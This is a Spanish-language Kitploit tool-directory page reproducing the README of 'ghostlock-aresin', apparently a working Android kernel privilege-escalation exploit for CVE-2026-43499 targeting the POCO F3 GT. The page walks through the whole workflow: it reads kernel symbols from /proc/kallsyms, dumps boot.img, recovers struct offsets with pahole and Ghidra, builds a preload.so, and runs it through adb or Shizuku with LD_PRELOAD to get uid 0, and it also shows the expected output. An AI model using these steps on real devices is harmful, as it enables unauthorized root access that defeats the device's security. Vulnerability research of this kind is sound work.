Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ghostlock-aresin — GhostLock (CVE-2026-43499) exploit para POCO F3 GT (aresin) — escalada de privilegios del kernel Linux 4.14.186 ARM64 de MediaTek Dimensity 1200 mediante manipulación de la cadena PI de futex | Kitploit
Herramientas/GitHubGitHub/nothingfumo/ghostlock-aresin
Seguridad AndroidEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilExplotación de Binarios
GitHubnothingfumo/ghostlock-aresin

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ghostlock-aresin

GhostLock (CVE-2026-43499) exploit para POCO F3 GT (aresin) — escalada de privilegios del kernel Linux 4.14.186 ARM64 de MediaTek Dimensity 1200 mediante manipulación de la cadena PI de futex

Ver Repositorio
42hace 4 díasAún no revisado

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Exploit de sobrescritura de physmap solo con datos para MediaTek Dimensity 1200 (MT6893). Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ Requisitos previos

  • Dispositivo: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
  • Chip: MediaTek Dimensity 1200 (MT6893)
  • Sistema: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Kernel: 4.14.186-g0dc1d312efb3
  • Sin desbloqueo de BL — se pueden obtener permisos de shell con Shizuku (depuración inalámbrica) para ejecutarlo
  • Shizuku o adb shell pueden ejecutar binarios arm64
  • Tras la ejecución, el dispositivo se reiniciará (pánico del kernel: comportamiento esperado). Si quieres guardar los registros, conecta adb logcat de antemano

✅ Comprobación de condiciones de la vulnerabilidad

CondiciónEstadoDescripción
Rango de versión del kernel✅4.14.186 está dentro del rango 2.6.39 ~ 7.0.4
CONFIG_FUTEX_PI✅Habilitado (y)
CONFIG_RT_MUTEXES✅Habilitado (y)
Arquitectura✅aarch64
CONFIG_PREEMPT✅Habilitado (y)
CONFIG_RANDOMIZE_KSTACK❓Requiere confirmación (4.14 puede no ser compatible)

🔧 Pasos de adaptación

Paso 1: Extraer direcciones de símbolos del kernel

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

Si tienes root (Magisk), puedes extraer directamente desde /proc/kallsyms:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Paso 2: Extraer vmlinux y analizar los offsets de las estructuras

Método A: Extraer vmlinux de boot.img

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Método B: Analizar con Ghidra

  1. Abre vmlinux.elf con Ghidra
  2. Busca las estructuras rt_mutex_waiter y task_struct
  3. Anota los offsets de cada campo

Paso 3: Completar target.h

Rellena los offsets extraídos en todas las posiciones 0xTODO de target.h.

Tabla de offsets clave de referencia:

Paso 4: Compilar

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Paso 5: Probar

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Comportamiento esperado

⚠️ Notas importantes

Diferencias entre los kernels 4.14.x y 6.1.x

  1. La estructura rt_mutex_waiter es diferente:

    • 4.14.x usa plist_node en lugar de rb_node
    • Los offsets de los campos son completamente distintos
    • Puede que no tenga los campos deadline / ww_ctx
  2. El diseño de task_struct es diferente:

    • Los offsets de pi_blocked_on, pi_lock, etc. en 4.14.x difieren de los de 6.1.x
    • Los campos relacionados con uclamp pueden no existir en 4.14.x
  3. La implementación de KASLR es diferente:

    • La forma en que 4.14.x aleatoriza KASLR difiere de la de 6.1.x
    • El método de fuga puede requerir ajustes
  4. Diferencias de seguridad entre Android 13 y 14:

    • Las políticas de SELinux pueden ser diferentes
    • Las restricciones de acceso a /proc/self/pagemap pueden ser diferentes

Verificación de offsets

Después de rellenar los offsets, se recomienda realizar una verificación cruzada con Ghidra:

  1. Abre vmlinux.elf en Ghidra
  2. Ve a la estructura rt_mutex_waiter
  3. Confirma que el offset de cada campo coincide con target.h

📁 Estructura de archivos

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 Licencia

Solo con fines de investigación/educativos. Úsalo bajo tu propio riesgo.

PoC original: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Adaptado para: POCO F3 GT (aresin) por ghostlock-aresin

Descargar herramienta
CampoDescripciónMétodo de extracción
INIT_TASKDirección de init_task/proc/kallsyms o Ghidra
INIT_CREDDirección de init_cred/proc/kallsyms o Ghidra
WAITER_*_OFFOffsets de campos de rt_mutex_waiterpahole / Ghidra
FAKE_TASK_*_OFFOffsets de campos de task_structpahole / Ghidra
TASK_CRED_OFFOffset del puntero credpahole / Ghidra
EtapaSalidaDescripción
Inicialización[*] GhostLock - aresin (MT6893 D1200) 4.14.186Dispositivo identificado correctamente
Vinculación de CPU[+] CPU0 pinnedVinculado a CPU0
Carga de direcciones[*] init_task @ 0xffffffc00xxxxxxxDirección LM fija
Comprobación de privilegios[+] uid: xxxxxImprime el uid actual
KASLR slide[+] slide = 0 o slide = xxxDetección de KASLR
Disparo de escaladaTras el éxito, el uid cambia a 0Se obtiene root
Fracaso[-] ... + reinicioPánico del kernel (la vulnerabilidad existe, pero los offsets necesitan ajustes)